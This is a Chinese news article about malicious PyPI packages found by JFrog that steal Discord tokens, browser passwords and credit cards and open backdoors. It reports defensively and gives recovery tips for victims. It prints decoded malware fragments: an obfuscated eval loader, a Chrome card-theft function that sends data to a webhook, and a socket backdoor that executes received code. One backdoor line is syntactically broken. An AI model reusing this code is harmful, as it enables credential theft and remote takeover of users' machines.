PyPI又雙叒叕發現惡意軟件,能盜取信用卡還有后門程序
本文經AI新媒體量子位(公眾號ID:QbitAI)授權轉載,轉載請聯系出處。
Python程序員真的要小心了,PyPI軟件庫問題真是越來越嚴重。
繼今年6月出現挖礦病毒后,PyPI最近再次出現了一批惡意軟件,
JFrog安全團隊發現,PyPI庫中有多個軟件存在盜取信用卡信息、遠程注入代碼的行為,而這些軟件總共被下載了3萬次。
這些被發現問題的惡意軟件分別是:

當程序員安裝完這些軟件后,它們將在后臺不知不覺讀取瀏覽器文件夾,從而盜取信用卡信息和密碼。
它們是如何竊取信用卡信息的
安全研究人員發現,上述所有軟件包都使用Base64編碼進行偽裝。
比如上述的noblesse2:
- import base64, codecs
- magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
- love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
- god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
- destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
- joy = '\x72\x6f\x74\x31\x33'
- trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')
- eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
這種方法可以欺騙一些簡單的分析工具,但是仔細研究可以發現其中的問題。
以上8個軟件包分別包含了以下不同種類的惡意行為:
1、竊取Discord帳戶身份驗證token
Discord身份驗證token讀取器的代碼非常簡單,它就是一組硬編碼的路徑:
- local = os.getenv('LOCALAPPDATA')
- roaming = os.getenv('APPDATA')
- paths = {
- 'Discord': roaming + '\\Discord',
- 'Discord Canary': roaming + '\\discordcanary',
- 'Discord PTB': roaming + '\\discordptb',
- 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
- 'Opera': roaming + '\\Opera Software\\Opera Stable',
- 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
- 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
- }
然后代碼會讀取這幾種瀏覽器路徑下的所有.log和.ldb文件,并查找Discord身份驗證token,結果通過Webhook上傳到Discord。
2、竊取瀏覽器存儲的密碼或信用卡數據
當你在瀏覽器中輸入密碼或信用卡數據時,一般都會跳出如下窗口,提示用戶保存這些信息。

雖然這給用戶帶來方便,今后不用一遍遍輸入密碼,但缺點是這些信息可能會惡意軟件獲取。
在這種情況下,惡意軟件會嘗試從Chrome竊取信用卡信息:
- def cs():
- master_key = master()
- login_db = os.environ['USERPROFILE'] + os.sep + \
- r'AppData\Local\Google\Chrome\User Data\default\Web Data'
- shutil.copy2(login_db,
- "CCvault.db")
- conn = sqlite3.connect("CCvault.db")
- cursor = conn.cursor()
- try:
- cursor.execute("SELECT * FROM credit_cards")
- for r in cursor.fetchall():
- username = r[1]
- encrypted_password = r[4]
- decrypted_password = dpw(
- encrypted_password, master_key)
- expire_mon = r[2]
- expire_year = r[3]
- hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")
這些信息和前一種情況一樣會通過Webhook上傳。
3、收集有關受感染PC的信息:如IP地址、計算機名稱和用戶名
除此之外,這些軟件還會收集Windows許可證密鑰信息、Windows版本以及屏幕截圖。
4、遠程代碼注入
pytagora和pytagora2這兩個惡意軟件會嘗試連接到某個IP地址9009端口上,然后執行Socket中可用的任何Python代碼。
其中混淆的代碼被安全人員解碼成如下片段:
- import socket,struct,time
- s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
- s.connect(('172.16.60.80',9009))
- l=struct.unpack('>I',s.recv(4))[0]
- print (l)
- d=s.recv(l)
- print (d)
- while len(d)>!1:
- d+=s.recv(l-len(d))
- print (d)
- exec(d,{'s':s})
但是安全人員現在不知道這個IP地址是什么,或者上面是否存在惡意軟件。
中毒后如何挽救
如果你發現自己的電腦已經安裝了諸如noblesse的惡意軟件,那么請檢查一下你的瀏覽器到底保存了哪些密碼,這些密碼可能已經泄露,請盡快修改。
對于Edge瀏覽器用戶,請在地址欄中輸入edge://settings/passwords,查看已保存的密碼。
對于Chrome瀏覽器用戶,請在地址欄中輸入chrome://settings/payments,在付款方式一欄下查看已保存的信用卡信息。
另外可以松口氣的是,PyPI維護人員已經刪除了這些惡意軟件包。
雖然PyPI軟件庫現在是安全了,但是鑒于這些開源軟件庫現在的維護狀態,未來很可能還會遇到更多攻擊。今年PyPI庫出現安全問題的狀況就不止一次出現。
“攻擊者能夠使用簡單的混淆技術來引入惡意軟件,這意味著開發人員必須保持警惕。”
JFrog CTO說,“這是一個系統性威脅,需要由軟件存儲庫的維護者和開發人員在多個層面積極解決。”